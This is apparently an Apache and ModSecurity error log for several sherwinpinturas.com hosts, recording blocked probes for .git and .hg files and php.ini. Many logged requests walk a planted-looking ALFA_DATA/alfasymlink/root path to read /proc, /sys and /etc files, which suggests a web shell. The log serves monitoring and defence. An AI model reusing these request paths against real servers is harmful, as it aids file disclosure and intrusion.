[Sat Oct 24 14:25:27.701640 2026] [security2:error] [pid 2677785:tid 2677785] [client 34.7.129.126:12178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/branch"] [unique_id "atz4Fzscjnm-Rk8uGagqVgAAAAA"]
[Sat Oct 24 14:25:27.967071 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.7.129.126:12144] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/update"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/update"] [unique_id "atz4F4rDEr-C1RJ7dLmAawAAAAg"]
[Sat Oct 24 14:25:27.967306 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.7.129.126:12144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/update"] [unique_id "atz4F4rDEr-C1RJ7dLmAawAAAAg"]
[Sat Oct 24 14:25:27.967662 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.7.129.126:12144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/update"] [unique_id "atz4F4rDEr-C1RJ7dLmAawAAAAg"]
[Sat Oct 24 14:25:30.483806 2026] [ssl:error] [pid 2684577:tid 2684577] (70014)End of file found: [client 52.73.6.26:50303] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:38.449189 2026] [ssl:error] [pid 2677842:tid 2677842] (5)Input/output error: [client 52.200.93.170:4762] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:39.045856 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 85.208.96.194:38736] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:42.540580 2026] [ssl:error] [pid 2684595:tid 2684595] (70014)End of file found: [client 54.156.55.147:10803] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:54.530542 2026] [ssl:error] [pid 2684585:tid 2684585] (70014)End of file found: [client 44.205.180.155:52739] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:58.409165 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 18.211.148.239:64744] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:58.832923 2026] [core:error] [pid 2684587:tid 2684587] (13)Permission denied: [client 85.208.96.202:50866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/ctor
[Sat Oct 24 14:26:10.450320 2026] [core:error] [pid 2684595:tid 2684595] (13)Permission denied: [client 98.84.60.17:24421] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty21/subsystem/tty13/subsystem/ttyS3/port
[Sat Oct 24 14:26:14.726096 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 35.153.86.200:63136] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:26:18.455393 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 50.16.72.185:4660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:26:22.814884 2026] [ssl:error] [pid 2684585:tid 2684585] (70014)End of file found: [client 34.192.125.239:42273] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:26:26.575615 2026] [authz_core:error] [pid 2684567:tid 2684567] [client 13.221.244.98:16156] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:26:30.736986 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.227.156.153:42459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:26:39.984944 2026] [core:error] [pid 2684595:tid 2684595] (13)Permission denied: [client 85.208.96.210:63580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/sanity_checks
[Sat Oct 24 14:26:42.810185 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.222.190.107:31617] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:26:44.763898 2026] [core:error] [pid 2684585:tid 2684585] (13)Permission denied: [client 185.191.171.16:37036] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/cpu_slabs
[Sat Oct 24 14:26:57.018128 2026] [security2:error] [pid 2684587:tid 2684587] [client 34.139.102.100:10460] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4ceQ_gym29rOoVKZhOwAAAB0"]
[Sat Oct 24 14:26:57.018385 2026] [security2:error] [pid 2684587:tid 2684587] [client 34.139.102.100:10460] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4ceQ_gym29rOoVKZhOwAAAB0"]
[Sat Oct 24 14:26:57.018672 2026] [security2:error] [pid 2684587:tid 2684587] [client 34.139.102.100:10460] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4ceQ_gym29rOoVKZhOwAAAB0"]
[Sat Oct 24 14:26:57.018992 2026] [security2:error] [pid 2684587:tid 2684587] [client 34.139.102.100:10460] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4ceQ_gym29rOoVKZhOwAAAB0"]
[Sat Oct 24 14:26:58.810340 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 98.83.177.42:43108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:00.499453 2026] [authz_core:error] [pid 2684595:tid 2684595] [client 198.235.24.243:63476] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 14:27:02.620017 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 44.194.139.149:21051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:06.454995 2026] [security2:error] [pid 2677776:tid 2677776] [client 43.165.67.31:49414] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/clic4/"] [unique_id "atz4emZJIyiQiKFtr2-5VAAAABU"]
[Sat Oct 24 14:27:06.816764 2026] [ssl:error] [pid 2684585:tid 2684585] (70014)End of file found: [client 44.223.116.149:49110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:18.550759 2026] [ssl:error] [pid 2684587:tid 2684587] (70014)End of file found: [client 18.214.238.178:22446] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:22.788213 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.225.9.97:54622] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:28.339274 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.18:61784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/order
[Sat Oct 24 14:27:31.057353 2026] [ssl:error] [pid 2684585:tid 2684585] (70014)End of file found: [client 3.221.50.71:48800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:34.581379 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.23.214.190:2364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:42.656148 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.205.163.103:34946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:45.685980 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.14:47596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/hwcache_align
[Sat Oct 24 14:27:46.506657 2026] [ssl:error] [pid 2684587:tid 2684587] (22)Invalid argument: [client 34.194.226.74:26417] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:27:58.531165 2026] [ssl:error] [pid 2684585:tid 2684585] (70014)End of file found: [client 52.203.237.170:52401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:28:02.621265 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 23.21.175.228:47808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/xmit_fifo_size
[Sat Oct 24 14:28:06.652847 2026] [ssl:error] [pid 2684567:tid 2684567] (70014)End of file found: [client 54.144.185.255:31227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:28:10.910247 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 34.225.243.131:59732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:28:19.017019 2026] [ssl:error] [pid 2684587:tid 2684587] (70014)End of file found: [client 54.225.199.17:35835] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:28:21.815788 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.75.164.182:6322] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4xYrDEr-C1RJ7dLmAcQAAAAg"]
[Sat Oct 24 14:28:21.816139 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.75.164.182:6322] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4xYrDEr-C1RJ7dLmAcQAAAAg"]
[Sat Oct 24 14:28:21.816415 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.75.164.182:6322] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4xYrDEr-C1RJ7dLmAcQAAAAg"]
[Sat Oct 24 14:28:21.816826 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.75.164.182:6322] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz4xYrDEr-C1RJ7dLmAcQAAAAg"]
[Sat Oct 24 14:28:23.230819 2026] [ssl:error] [pid 2684595:tid 2684595] (70014)End of file found: [client 23.23.137.202:11771] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:28:26.681877 2026] [ssl:error] [pid 2684585:tid 2684585] (70014)End of file found: [client 100.29.164.178:38180] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:28:40.969804 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:2256] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz42J3ucYdH-en2mI_DTwAAAAQ"]
[Sat Oct 24 14:28:40.970160 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:2256] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz42J3ucYdH-en2mI_DTwAAAAQ"]
[Sat Oct 24 14:28:40.970429 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:2256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz42J3ucYdH-en2mI_DTwAAAAQ"]
[Sat Oct 24 14:28:40.971044 2026] [security2:error] [pid 2677842:tid 2677842] [client 34.23.185.185:2256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atz42J3ucYdH-en2mI_DTwAAAAQ"]
[Sat Oct 24 14:28:58.817380 2026] [security2:error] [pid 2677776:tid 2677776] [client 98.84.184.80:20315] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/opt/cpanel/ea-php82/root/usr/share/doc/ea-php82-php-common/php.ini-production"] [unique_id "atz46mZJIyiQiKFtr2-5WAAAABU"]
[Sat Oct 24 14:28:58.817454 2026] [security2:error] [pid 2677776:tid 2677776] [client 98.84.184.80:20315] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/opt/cpanel/ea-php82/root/usr/share/doc/ea-php82-php-common/php.ini-production"] [unique_id "atz46mZJIyiQiKFtr2-5WAAAABU"]
[Sat Oct 24 14:28:59.842628 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 185.191.171.11:56512] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dm_uevent/destroy_by_rcu
[Sat Oct 24 14:29:02.697928 2026] [ssl:error] [pid 2684567:tid 2684567] (70014)End of file found: [client 34.234.197.175:52659] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:07.066943 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.157.84.74:25856] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:15.881185 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 34.205.163.103:45945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:18.751937 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 98.82.107.102:4457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:20.838683 2026] [core:error] [pid 2684585:tid 2684585] (13)Permission denied: [client 85.208.96.200:27596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/store_user
[Sat Oct 24 14:29:24.302995 2026] [security2:error] [pid 2677842:tid 2677842] [client 107.189.29.135:52280] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "atz5BJ3ucYdH-en2mI_DUQAAAAQ"]
[Sat Oct 24 14:29:30.696119 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.147.182.90:8772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:35.329120 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.21.250.48:35776] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:38.693833 2026] [ssl:error] [pid 2684567:tid 2684567] (70014)End of file found: [client 54.147.182.90:17864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:42.936453 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.83.56.1:26681] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:46.728505 2026] [ssl:error] [pid 2684587:tid 2684587] (70014)End of file found: [client 34.226.89.140:44778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:54.770154 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 100.24.149.244:36843] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:58.739806 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.206.47.187:23251] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:29:59.044696 2026] [core:error] [pid 2684585:tid 2684585] (13)Permission denied: [client 185.191.171.16:56186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__mcount_loc
[Sat Oct 24 14:30:07.135962 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 107.22.208.39:59026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/subsystem/drivers/button/uevent
[Sat Oct 24 14:30:11.230643 2026] [ssl:error] [pid 2684587:tid 2684587] (70014)End of file found: [client 52.203.65.83:52649] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:30:26.960137 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 54.84.93.8:25293] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/device:0e/subsystem/devices/QEMU0002:00/physical_node/driver/bind
[Sat Oct 24 14:30:30.843405 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 54.209.100.30:23857] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event2/device/device/driver/module/uevent
[Sat Oct 24 14:30:38.926164 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 184.73.239.35:21614] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:30:41.189008 2026] [security2:error] [pid 2684557:tid 2684557] [client 85.208.96.193:36106] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/libuser.conf"] [unique_id "atz5USLwkWVVQiyMc7N7ugAAAAs"]
[Sat Oct 24 14:30:41.189417 2026] [security2:error] [pid 2684557:tid 2684557] [client 85.208.96.193:36106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/libuser.conf"] [unique_id "atz5USLwkWVVQiyMc7N7ugAAAAs"]
[Sat Oct 24 14:30:41.189901 2026] [security2:error] [pid 2684557:tid 2684557] [client 85.208.96.193:36106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/libuser.conf"] [unique_id "atz5USLwkWVVQiyMc7N7ugAAAAs"]
[Sat Oct 24 14:30:48.260708 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.87.62.248:47411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:30:51.085691 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.215.112.101:26401] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:30:56.206257 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 52.70.209.13:20005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/drivers/atkbd/serio0/firmware_node/physical_node/driver/00:01/subsystem/drivers_probe
[Sat Oct 24 14:30:58.900209 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 100.29.34.97:44633] AH02013: coalesce failed to read from data bucket
